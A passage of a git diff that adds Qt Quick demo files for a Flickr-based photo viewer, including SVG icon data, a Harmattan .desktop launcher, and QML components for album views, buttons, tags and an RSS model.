+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/demos/declarative/photoviewer/photoviewer64.png b/demos/declarative/photoviewer/photoviewer64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/demos/declarative/photoviewer/photoviewer64.png
Binary files differ
diff --git a/demos/declarative/photoviewer/photoviewer80.png b/demos/declarative/photoviewer/photoviewer80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/demos/declarative/photoviewer/photoviewer80.png
Binary files differ
diff --git a/demos/declarative/photoviewer/photoviewer_harmattan.desktop b/demos/declarative/photoviewer/photoviewer_harmattan.desktop
new file mode 100644
index 00000000..2dced148
--- /dev/null
+++ b/demos/declarative/photoviewer/photoviewer_harmattan.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Name=photoviewer
+Exec=/usr/bin/single-instance /opt/photoviewer/bin/photoviewer
+Icon=/usr/share/icons/hicolor/80x80/apps/photoviewer80.png
+X-Window-Icon=
+X-HildonDesk-ShowInToolbar=true
+X-Osso-Type=application/x-executable
diff --git a/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/AlbumDelegate.qml b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/AlbumDelegate.qml
new file mode 100644
index 00000000..b64da40b
--- /dev/null
+++ b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/AlbumDelegate.qml
@@ -0,0 +1,146 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Component {
+ id: albumDelegate
+ Package {
+
+ Item {
+ Package.name: 'browser'
+ GridView {
+ id: photosGridView; model: visualModel.parts.grid; width: mainWindow.width; height: mainWindow.height - 21
+ x: 0; y: 21; cellWidth: 160; cellHeight: 153; interactive: false
+ onCurrentIndexChanged: photosListView.positionViewAtIndex(currentIndex, ListView.Contain)
+ }
+ }
+
+ Item {
+ Package.name: 'fullscreen'
+ ListView {
+ id: photosListView; model: visualModel.parts.list; orientation: Qt.Horizontal
+ width: mainWindow.width; height: mainWindow.height; interactive: false
+ onCurrentIndexChanged: photosGridView.positionViewAtIndex(currentIndex, GridView.Contain)
+ highlightRangeMode: ListView.StrictlyEnforceRange; snapMode: ListView.SnapOneItem
+ }
+ }
+
+ Item {
+ Package.name: 'album'
+ id: albumWrapper; width: 210; height: 220
+
+ VisualDataModel {
+ id: visualModel; delegate: PhotoDelegate { }
+ model: RssModel { id: rssModel; tags: tag }
+ }
+
+ BusyIndicator {
+ id: busyIndicator
+ anchors { centerIn: parent; verticalCenterOffset: -20 }
+ on: rssModel.status != XmlListModel.Ready
+ }
+
+ PathView {
+ id: photosPathView; model: visualModel.parts.stack; pathItemCount: 5
+ visible: !busyIndicator.visible
+ anchors.centerIn: parent; anchors.verticalCenterOffset: -30
+ path: Path {
+ PathAttribute { name: 'z'; value: 9999.0 }
+ PathLine { x: 1; y: 1 }
+ PathAttribute { name: 'z'; value: 0.0 }
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: mainWindow.editMode ? photosModel.remove(index) : albumWrapper.state = 'inGrid'
+ }
+
+ Tag {
+ anchors { horizontalCenter: parent.horizontalCenter; bottom: parent.bottom; bottomMargin: 10 }
+ frontLabel: tag; backLabel: qsTr("Remove"); flipped: mainWindow.editMode
+ onTagChanged: rssModel.tags = tag
+ onBackClicked: if (mainWindow.editMode) photosModel.remove(index);
+ }
+
+ states: [
+ State {
+ name: 'inGrid'
+ PropertyChanges { target: photosGridView; interactive: true }
+ PropertyChanges { target: albumsShade; opacity: 1 }
+ PropertyChanges { target: backButton; onClicked: albumWrapper.state = ''; y: 6 }
+ },
+ State {
+ name: 'fullscreen'; extend: 'inGrid'
+ PropertyChanges { target: photosGridView; interactive: false }
+ PropertyChanges { target: photosListView; interactive: true }
+ PropertyChanges { target: photosShade; opacity: 1 }
+ PropertyChanges { target: backButton; y: -backButton.height - 8 }
+ }
+ ]
+
+ GridView.onAdd: NumberAnimation {
+ target: albumWrapper; properties: "scale"; from: 0.0; to: 1.0; easing.type: Easing.OutQuad
+ }
+ GridView.onRemove: SequentialAnimation {
+ PropertyAction { target: albumWrapper; property: "GridView.delayRemove"; value: true }
+ NumberAnimation { target: albumWrapper; property: "scale"; from: 1.0; to: 0.0; easing.type: Easing.OutQuad }
+ PropertyAction { target: albumWrapper; property: "GridView.delayRemove"; value: false }
+ }
+
+ transitions: [
+ Transition {
+ from: '*'; to: 'inGrid'
+ SequentialAnimation {
+ NumberAnimation { properties: 'opacity'; duration: 250 }
+ PauseAnimation { duration: 350 }
+ NumberAnimation { target: backButton; properties: "y"; duration: 200; easing.type: Easing.OutQuad }
+ }
+ },
+ Transition {
+ from: 'inGrid'; to: '*'
+ NumberAnimation { properties: "y,opacity"; easing.type: Easing.OutQuad; duration: 300 }
+ }
+ ]
+ }
+ }
+}
diff --git a/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/BusyIndicator.qml b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/BusyIndicator.qml
new file mode 100644
index 00000000..bd0391e6
--- /dev/null
+++ b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/BusyIndicator.qml
@@ -0,0 +1,50 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ id: container
+ property bool on: false
+
+ source: "images/busy.png"; visible: container.on
+ NumberAnimation on rotation { running: container.on; from: 0; to: 360; loops: Animation.Infinite; duration: 1200 }
+}
diff --git a/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/Button.qml b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/Button.qml
new file mode 100644
index 00000000..a4b4e96f
--- /dev/null
+++ b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/Button.qml
@@ -0,0 +1,72 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: container
+
+ property alias label: labelText.text
+ property color tint: "transparent"
+ signal clicked
+
+ width: labelText.width + 70 ; height: labelText.height + 18
+
+ BorderImage {
+ anchors { fill: container; leftMargin: -6; topMargin: -6; rightMargin: -8; bottomMargin: -8 }
+ source: 'images/box-shadow.png'; smooth: true
+ border.left: 10; border.top: 10; border.right: 10; border.bottom: 10
+ }
+
+ Image { anchors.fill: parent; source: "images/cardboard.png"; smooth: true }
+
+ Rectangle {
+ anchors.fill: container; color: container.tint; visible: container.tint != ""
+ opacity: 0.25; smooth: true
+ }
+
+ Text { id: labelText; font.pixelSize: 15; anchors.centerIn: parent; smooth: true }
+
+ MouseArea {
+ anchors { fill: parent; leftMargin: -20; topMargin: -20; rightMargin: -20; bottomMargin: -20 }
+ onClicked: container.clicked()
+ }
+}
diff --git a/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/EditableButton.qml b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/EditableButton.qml
new file mode 100644
index 00000000..fd1cf358
--- /dev/null
+++ b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/EditableButton.qml
@@ -0,0 +1,86 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: container
+
+ property string label
+ signal clicked
+ signal labelChanged(string label)
+
+ width: textInput.width + 70 ; height: textInput.height + 18
+
+ BorderImage {
+ anchors { fill: container; leftMargin: -6; topMargin: -6; rightMargin: -8; bottomMargin: -8 }
+ source: 'images/box-shadow.png'; smooth: true
+ border.left: 10; border.top: 10; border.right: 10; border.bottom: 10
+ }
+
+ Image { anchors.fill: parent; source: "images/cardboard.png"; smooth: true }
+
+ TextInput {
+ id: textInput; text: label; font.pixelSize: 15; anchors.centerIn: parent; smooth: true
+ Keys.onReturnPressed: {
+ container.labelChanged(textInput.text)
+ container.focus = true
+ }
+ Keys.onEnterPressed: {
+ container.labelChanged(textInput.text)
+ container.focus = true
+ }
+ Keys.onEscapePressed: {
+ textInput.text = container.label
+ container.focus = true
+ }
+ }
+
+ Rectangle {
+ anchors.fill: container; border.color: "steelblue"; border.width: 4
+ color: "transparent"; visible: textInput.focus; smooth: true
+ }
+
+ MouseArea {
+ anchors { fill: parent; leftMargin: -20; topMargin: -20; rightMargin: -20; bottomMargin: -20 }
+ onClicked: { textInput.forceActiveFocus(); textInput.openSoftwareInputPanel(); }
+ }
+}
diff --git a/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/PhotoDelegate.qml b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/PhotoDelegate.qml
new file mode 100644
index 00000000..118d468c
--- /dev/null
+++ b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/PhotoDelegate.qml
@@ -0,0 +1,188 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.1
+import "script/script.js" as Script
+
+Package {
+ Item { id: stackItem; Package.name: 'stack'; width: 160; height: 153; z: stackItem.PathView.z }
+ Item { id: listItem; Package.name: 'list'; width: mainWindow.width + 40; height: 153 }
+ Item { id: gridItem; Package.name: 'grid'; width: 160; height: 153 }
+
+ Item {
+ width: 160; height: 153
+
+ Item {
+ id: photoWrapper
+
+ property double randomAngle: Math.random() * (2 * 6 + 1) - 6
+ property double randomAngle2: Math.random() * (2 * 6 + 1) - 6
+
+ x: 0; y: 0; width: 140; height: 133
+ z: stackItem.PathView.z; rotation: photoWrapper.randomAngle
+
+ BorderImage {
+ anchors {
+ fill: originalImage.status == Image.Ready ? border : placeHolder
+ leftMargin: -6; topMargin: -6; rightMargin: -8; bottomMargin: -8
+ }
+ source: 'images/box-shadow.png'; smooth: true
+ border.left: 10; border.top: 10; border.right: 10; border.bottom: 10
+ }
+ Rectangle {
+ id: placeHolder
+
+ property int w: Script.getWidth(content)
+ property int h: Script.getHeight(content)
+ property double s: Script.calculateScale(w, h, photoWrapper.width)
+
+ color: 'white'; anchors.centerIn: parent; smooth: true
+ width: w * s; height: h * s; visible: originalImage.status != Image.Ready
+ Rectangle {
+ color: "#878787"; smooth: true
+ anchors { fill: parent; topMargin: 3; bottomMargin: 3; leftMargin: 3; rightMargin: 3 }
+ }
+ }
+ Rectangle {
+ id: border; color: 'white'; anchors.centerIn: parent; smooth: true
+ width: originalImage.paintedWidth + 6; height: originalImage.paintedHeight + 6
+ visible: !placeHolder.visible
+ }
+ BusyIndicator { anchors.centerIn: parent; on: originalImage.status != Image.Ready }
+ Image {
+ id: originalImage; smooth: true; source: "http://" + Script.getImagePath(content); cache: false
+ fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height
+ }
+ Image {
+ id: hqImage; smooth: true; source: ""; visible: false; cache: false
+ fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height
+ }
+ Binding {
+ target: mainWindow; property: "downloadProgress"; value: hqImage.progress
+ when: listItem.ListView.isCurrentItem
+ }
+ Binding {
+ target: mainWindow; property: "imageLoading"
+ value: (hqImage.status == Image.Loading) ? 1 : 0; when: listItem.ListView.isCurrentItem
+ }
+ MouseArea {
+ width: originalImage.paintedWidth; height: originalImage.paintedHeight; anchors.centerIn: originalImage
+ onClicked: {
+ if (albumWrapper.state == 'inGrid') {
+ gridItem.GridView.view.currentIndex = index;
+ albumWrapper.state = 'fullscreen'
+ } else {
+ gridItem.GridView.view.currentIndex = index;
+ albumWrapper.state = 'inGrid'
+ }
+ }
+ }
+
+ states: [
+ State {
+ name: 'stacked'; when: albumWrapper.state == ''
+ ParentChange { target: photoWrapper; parent: stackItem; x: 10; y: 10 }
+ PropertyChanges { target: photoWrapper; opacity: stackItem.PathView.onPath ? 1.0 : 0.0 }
+ },
+ State {
+ name: 'inGrid'; when: albumWrapper.state == 'inGrid'
+ ParentChange { target: photoWrapper; parent: gridItem; x: 10; y: 10; rotation: photoWrapper.randomAngle2 }
+ },
+ State {
+ name: 'fullscreen'; when: albumWrapper.state == 'fullscreen'
+ ParentChange {
+ target: photoWrapper; parent: listItem; x: 0; y: 0; rotation: 0
+ width: mainWindow.width; height: mainWindow.height
+ }
+ PropertyChanges { target: border; opacity: 0 }
+ PropertyChanges { target: hqImage; source: listItem.ListView.isCurrentItem ? hq : ""; visible: true }
+ }
+ ]
+
+ transitions: [
+ Transition {
+ from: 'stacked'; to: 'inGrid'
+ SequentialAnimation {
+ PauseAnimation { duration: 10 * index }
+ ParentAnimation {
+ target: photoWrapper; via: foreground
+ NumberAnimation {
+ target: photoWrapper; properties: 'x,y,rotation,opacity'; duration: 600; easing.type: 'OutQuart'
+ }
+ }
+ }
+ },
+ Transition {
+ from: 'inGrid'; to: 'stacked'
+ ParentAnimation {
+ target: photoWrapper; via: foreground
+ NumberAnimation { properties: 'x,y,rotation,opacity'; duration: 600; easing.type: 'OutQuart' }
+ }
+ },
+ Transition {
+ from: 'inGrid'; to: 'fullscreen'
+ SequentialAnimation {
+ PauseAnimation { duration: gridItem.GridView.isCurrentItem ? 0 : 600 }
+ ParentAnimation {
+ target: photoWrapper; via: foreground
+ NumberAnimation {
+ targets: [ photoWrapper, border ]
+ properties: 'x,y,width,height,opacity,rotation'
+ duration: gridItem.GridView.isCurrentItem ? 600 : 1; easing.type: 'OutQuart'
+ }
+ }
+ }
+ },
+ Transition {
+ from: 'fullscreen'; to: 'inGrid'
+ ParentAnimation {
+ target: photoWrapper; via: foreground
+ NumberAnimation {
+ targets: [ photoWrapper, border ]
+ properties: 'x,y,width,height,rotation,opacity'
+ duration: gridItem.GridView.isCurrentItem ? 600 : 1; easing.type: 'OutQuart'
+ }
+ }
+ }
+ ]
+ }
+ }
+}
diff --git a/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/ProgressBar.qml b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/ProgressBar.qml
new file mode 100644
index 00000000..33e1fdfd
--- /dev/null
+++ b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/ProgressBar.qml
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: container
+
+ property real progress: 0
+
+ Behavior on opacity { NumberAnimation { duration: 600 } }
+
+ Rectangle { anchors.fill: parent; color: "black"; opacity: 0.5 }
+
+ Rectangle {
+ id: fill; color: "white"; height: container.height
+ width: container.width * container.progress
+ }
+}
diff --git a/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/RssModel.qml b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/RssModel.qml
new file mode 100644
index 00000000..75c86c46
--- /dev/null
+++ b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/RssModel.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+XmlListModel {
+ property string tags : ""
+
+ source: "http://api.flickr.com/services/feeds/photos_public.gne?"+(tags ? "tags="+tags+"&" : "")
+ query: "/feed/entry"
+ namespaceDeclarations: "declare default element namespace 'http://www.w3.org/2005/Atom';"
+
+ XmlRole { name: "title"; query: "title/string()" }
+ XmlRole { name: "content"; query: "content/string()" }
+ XmlRole { name: "hq"; query: "link[@rel='enclosure']/@href/string()" }
+}
diff --git a/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/Tag.qml b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/Tag.qml
new file mode 100644
index 00000000..30695140
--- /dev/null
+++ b/demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/Tag.qml
@@ -0,0 +1,91 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Flipable {
+ id: flipable
+
+ property alias frontLabel: frontButton.label
+ property alias backLabel: backButton.label
+
+ property int angle: 0
+ property int randomAngle: Math.random() * (2 * 6 + 1) - 6
+ property bool flipped: false
+
+ signal frontClicked
+ signal backClicked
+ signal tagChanged(string tag)
+
+ front: EditableButton {
+ id: frontButton; rotation: flipable.randomAngle
+ anchors { centerIn: parent; verticalCenterOffset: -20 }
+ onClicked: flipable.frontClicked()
+ onLabelChanged: flipable.tagChanged(label)
+ }
+
+ back: Button {
+ id: backButton; tint: "red"; rotation: flipable.randomAngle
+ anchors { centerIn: parent; verticalCenterOffset: -20 }
+ onClicked: flipable.backClicked()
+ }
+
+ transform: Rotation {
+ origin.x: flipable.width / 2; origin.y: flipable.height / 2
+ axis.x: 0; axis.y: 1; axis.z: 0
+ angle: flipable.angle
+ }
+
+ states: State {
+ name: "back"; when: flipable.flipped
+ PropertyChanges { target: flipable; angle: 180 }
+ }
+
+ transitions: Transition {
+ ParallelAnimation {
+ NumberAnimation { properties: "angle"; duration: 400 }
+ SequentialAnimation {
+ NumberAnimation { target: flipable; property: "scale"; to: 0.8; duration: 200 }
